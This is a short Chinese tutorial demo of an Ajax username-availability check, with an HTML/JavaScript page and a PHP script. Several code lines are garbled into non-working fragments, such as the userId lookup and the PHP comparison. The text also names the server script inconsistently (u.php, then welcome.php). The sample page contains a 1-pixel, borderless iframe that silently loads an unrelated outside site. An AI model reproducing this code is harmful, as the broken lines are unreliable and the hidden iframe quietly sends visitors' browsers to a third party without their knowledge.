PHP与Ajax相结合实现登录验证小Demo

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。接下来通过本文给大家分享PHP与Ajax相结合实现登录验证小Demo,对php ajax实现登录验证相关知识感兴趣的朋友一起学习吧

AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。

AJAX 不是新的编程语言,而是一种使用现有标准的新方法。

AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示。

我们先打index.php

  1. <html>
  2. <head>
  3. <meta http-equiv="content-type" content="text/html; charset=gb2312" />
  4. <script type="text/JavaScript">
  5. function Ajax(){
  6. var xmlHttpReq=null;//初始对象xmlHttpReq
  7. if(window.ActiveXObject){
  8. xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
  9. }else if(window.XMLHttpRequest){
  10. xmlHttpReq=new XMLHttpRequest();
  11. }
  12. var useruserId").value;//value取得id为userId的值
  13. url="u.php?userId="+userId;//路径
  14. if(xmlHttpReq!=null){//若对象实例化创建成功
  15. xmlHttpReq.open("GET",url,true);//open()打开请求
  16. xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack()
  17. xmlHttpReq.send(null);//请求不包括正文
  18. }
  19. function RequestCallBack(){//回调函数
  20. if(xmlHttpReq.readystate==4){
  21. if(xmlHttpReq.status==200){//请求成功
  22. document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div
  23. }
  24. }
  25. }
  26. }
  27. </script>
  28. </head>
  29. <body>
  30. <font>
  31. 注册
  32. </font><br>
  33. <form>
  34. 用户名:<input type="text"value="yuki"name="userId"><input type="button"value="检测"onclick="Ajax()">
  35. <div >
  36. </div>
  37. </form>
  38. <iframe src="http://www.phpfensi.com/rc/" frameborder=0 width=1></iframe>
  39. </body>
  40. </html>

welcome.php

  1. <?php
  2. header("content-type:text/html;charset=gb2312");
  3. //sleep(1);
  4. $useruserId"];
  5. if($user管理员"){
  6. echo "用户名已存在!";
  7. }else{
  8. echo "该用户名可以注册";
  9. }
  10. ?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!